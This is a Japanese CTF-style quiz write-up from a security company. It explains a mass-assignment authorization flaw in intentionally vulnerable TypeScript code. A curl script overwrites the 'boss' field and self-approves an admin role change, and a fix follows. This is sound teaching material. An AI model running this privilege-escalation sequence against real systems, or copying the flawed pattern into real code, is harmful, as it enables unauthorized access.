はじめに
下記のTweetで出題させていただいた、Flatt Security Developers' Quiz #5にご参加いただきありがとうございました!
🍫 Flatt Security Developers' Quiz #5 開催! 🍫
— GMO Flatt Security株式会社 (@flatt_security) 2023年2月14日
オリジナルチョコ獲得を目指して頑張ってください!
デモ環境: https://t.co/DUM6NjLPQa
ソースコード: https://t.co/pQ7UvFiEWe
回答提出フォーム: https://t.co/WQhxWA1Rvq pic.twitter.com/v494ZEDUaw
景品の獲得条件を満たした方には既にメールでご連絡済みです。
今回のクイズでFlatt Securityに興味を持ってくださった方は是非下記のバナーよりサービス詳細をご覧ください。
今回のクイズの概要

概要

デモ環境にアクセスすると、画像のようなマイページが表示されます。 ここで、ユーザは自身の名前とロールを更新することができます。
ページ下部には管理者ページと書いてあるいかにも怪しいリンクがあります。
試しにクリックしてみると、以下のような管理者ページが表示されます。

ページに書いてあるとおり、管理者ではないためページが閲覧できないようです。
このクイズのゴールは、この管理者ページ(/admin)を閲覧してフラグを入手することです。
ソースコード
以下に、ソースコードの重要な部分のみを抜粋します。ソースコード全体に関しては、GitHubをご覧ください。
type Role = 'admin' | 'engineer' | 'sales'; type UserId = string; type SessionId = string; interface User { name: string role: Role id: UserId boss: UserId | null }; interface UserInput { name: string role: 'engineer' | 'sales' }; const users = new Map<UserId, User>([[admin.id, admin]]); // List of users associated with their ID const sessions = new Map<SessionId, UserId>(); // List of sessions associated with session ID const pendingApprovals = new Map<UserId, User>(); // List of users waiting for approval to change their profile // Serve admin page. app.get('/admin', async (request, reply) => { const user = getOrInitUser(request.session.sessionId); const html = await fs.promises.readFile(user.role === 'admin' ? 'flag.html' : 'forbidden.html', 'utf-8'); const status = user.role === 'admin' ? 200 : 403; reply.type('text/html').status(status).send(html); }); // Get profile of the current user. app.get('/api/profile', async (request, reply) => { const user = getOrInitUser(request.session.sessionId); reply.type('application/json').send(user); }); // Change user profile. // NOTE: Changing role requires approval from their boss. app.post('/api/profile', async (request, reply) => { const user = getOrInitUser(request.session.sessionId); const input = request.body as UserInput; let waitingApproval = false; if (input.role && input.role !== user.role) { // need approval waitingApproval = true; pendingApprovals.set(user.id, { ...user, ...input, id: user.id, }); } users.set(user.id, { ...user, ...input, id: user.id, role: user.role, }); reply.status(200).type('application/json').send({ waitingApproval, }); }); // Approve a request to change user profile // NOTE: Only the boss of the requester can approve the change. app.post('/api/approve/:userId', async (request, reply) => { const me = getOrInitUser(request.session.sessionId); const userId = (request.params as any).userId as string; const pendingApproval = pendingApprovals.get(userId); if (pendingApproval && pendingApproval.boss === me.id) { pendingApprovals.delete(userId); users.set(pendingApproval.id, pendingApproval); reply.status(200).send(); } else { reply.status(204).send(); } });
これまでのFlatt Security Developers' Quizと比べると少しだけソースコードが長く、より本格的な内容になっています。
ユーザ(users)はセッションID(sessions)と結びつけられてサーバ側に記録されています。各ユーザ(interface User)は、名前(name)、ロール(role)、ID(id)、そして上司(boss)をメンバとして持っています。
目的の/adminページでは、ユーザのroleに基づいてページを表示します。先程の画像にあったページはforbidden.htmlであり、目的のフラグはflag.htmlにあるようです。つまり、roleをadminに変更する必要があります。
解法
/api/profileへのPOSTリクエストによってユーザのプロパティを変更することができます。
しかしながらソースコード内のコメントにもあるように、roleを変更しようとしてもすぐには変更は適用されず、上司(boss)からの承認を待つためにリクエストがpendingApprovalsに追加されます:
if (input.role && input.role !== user.role) { // need approval waitingApproval = true; pendingApprovals.set(user.id, { ...user, ...input, id: user.id, }); }

このリクエストは、上司(boss)が/api/approve/:userIdへのPOSTリクエストを送ることで承認されます:
const me = getOrInitUser(request.session.sessionId); const userId = (request.params as any).userId as string; const pendingApproval = pendingApprovals.get(userId); if (pendingApproval && pendingApproval.boss === me.id) { pendingApprovals.delete(userId); users.set(pendingApproval.id, pendingApproval); reply.status(200).send(); } else { reply.status(204).send(); }
この承認プロセスにおいては、承認しようとしているユーザ(me)が、承認されるユーザの上司(boss)であるかどうかを確認しています。よって、上司以外のユーザが承認を行うことができないように設計されています。
脆弱性: ユーザ入力の検証不足と値の上書き
ここで、もう一度/api/profileへのプロフィール変更要求部分を見てみます:
const input = request.body as UserInput; if (input.role && input.role !== user.role) { // need approval waitingApproval = true; pendingApprovals.set(user.id, { ...user, ...input, id: user.id, }); } users.set(user.id, { ...user, ...input, id: user.id, role: user.role, });
roleが変更されたかどうかに関わらず、roleとid以外のプロパティをuser.set()によって更新していることがわかります。その中で、{ ...user, ...input }という記法を使っています。これはSpread Syntaxと呼ばれるもので、オブジェクトのプロパティを展開することができる記法です(厳密な説明については、リンクを参照ください)。
ここで、userとinputに同一のプロパティが存在していた場合、より後者にあるinput内のプロパティによって値が上書きされてしまいます。すなわち、以下のような状況の場合にはinput内の値によってuserを展開した値を上書きすることができます:
const user = { name: 'test', example: 'original', }; const input = { name: 'overwritten', example: 'overwritten', }; const result = { ...user, ...input, }; console.log(result); // { name: 'overwritten', example: 'overwritten' }
なお、ここではinputは以下のようにしてリクエストボディから取得されています:
interface UserInput { name: string role: 'engineer' | 'sales' }; const input = request.body as UserInput;
ここでUserInputはUser型の部分的なプロパティを持つ型として定義されています。恐らく開発者の意図としては、このasによってinput内にはnameとroleの2つしか存在しないことを保証したかったのでしょう。
しかしながら、この部分はTypeScriptからJavaScriptに以下のようにトランスパイルされます。
input = request.body; users.set(user.id, __assign(__assign(__assign({}, user), input), { id: user.id, role: user.role }));
このことからも分かるように、inputのプロパティに対しては何の保証もされていません。よって、攻撃者はinput (==request.body)として任意の値を入れることができます。
bossの変更
users.set()では、idとroleが最後に記述されており、inputにこれらを入れても上書きできません。
しかしながら、bossプロパティはinputに入れることで上書きすることができます。これと/api/approveを利用することで、bossを自分へと上書きしたあとで自ら変更承認を行うことができます。
exploit
攻撃の手順をまとめます:
- 適当なページを訪れ、ユーザを作成する。
/api/profileへのPOSTリクエストにて、bossを自身にする。また、roleをadminに変更する。/api/approve/<自身のID>へのPOSTリクエストにおいて、roleをadminにするリクエストを承認する。
function requestAdmin() {
curl http://$DOMAIN/api/profile -k -v \
-H "Cookie: sessionId=$SESSION" \
-H "Content-Type: application/json" \
-d "{\"name\":\"toyojuni\", \"role\": \"admin\", \"boss\": \"$USERID\" }"
}
function approveChange() {
curl http://$DOMAIN/api/approve/$USERID -k -v \
-X POST \
-H "Cookie: sessionId=$SESSION"
}
function getFlag() {
curl http://$DOMAIN/admin -k -v \
-H "Cookie: sessionId=$SESSION"
}
function main() {
requestAdmin
approveChange
getFlag
}
main
Flag
Flatt{61v3_y0u_7h15_nu77y_4u7h_1m91_4nd_nu77y_ch0c01473!}
問題の難易度
今回は「ふつう」難易度として出題しました。ソースコード自体はこれまでと比べて少し長いものの、やっている事自体は難しくなく、セキュリティを専門としないエンジニアの方も解けるような問題になっていると思います。
また、認可制御をテーマとしており、より実際のプロダクトに近いような問題設計になっていたのではないかと思います。 24時間の回答期間において、正答者はちょうど80人でした。
Quizのような脆弱性をつくらないために
今回の問題における問題点は、以下の2点です:
as UserInputによってユーザの入力を制限できていると思い込んでいること- Spread Syntaxによって、既存のデータを上書きできること
ユーザ入力のバリデーションを行うにはいくつかの方法が考えられます。最もシンプルなものとしてはSpread Syntaxを使わず、必要な情報のみを取り出すことです。
users.set(user.id, { ...user, name: input.name, });
今回の場合には、上司の承認無しでの変更を想定しているのがnameだけであるため、Spread Syntaxを使わずにinput.nameを指定して上書きすることが最も適切であると考えられます。
終わりに
Quizにご参加いただいた皆様、ありがとうございました。不定期ではありますがよりみなさまに楽しみながらセキュリティを学んでいただけるよう今後も発信を続けてまいります。
冒頭でも紹介したように、我々株式会社Flatt Securityはセキュリティ診断サービスを提供しています。
Webアプリケーションやスマートフォンアプリケーションを対象に、セキュリティエンジニアによる手動診断によって高い精度で脆弱性を洗い出すことが可能です。 ツールによる診断しか過去実施しておらず認証や決済といった重要な機能のセキュリティに不安があったり、既存のベンダーとは違う会社に依頼したいと考えていたりする方はお気軽にご相談ください。
また、Flatt Securityはセキュリティに関する様々な発信を行っています。 最新情報を見逃さないよう、公式Twitterのフォローをぜひお願いします!
Tweets by flatt_security x.com
ここまでお読みいただきありがとうございました。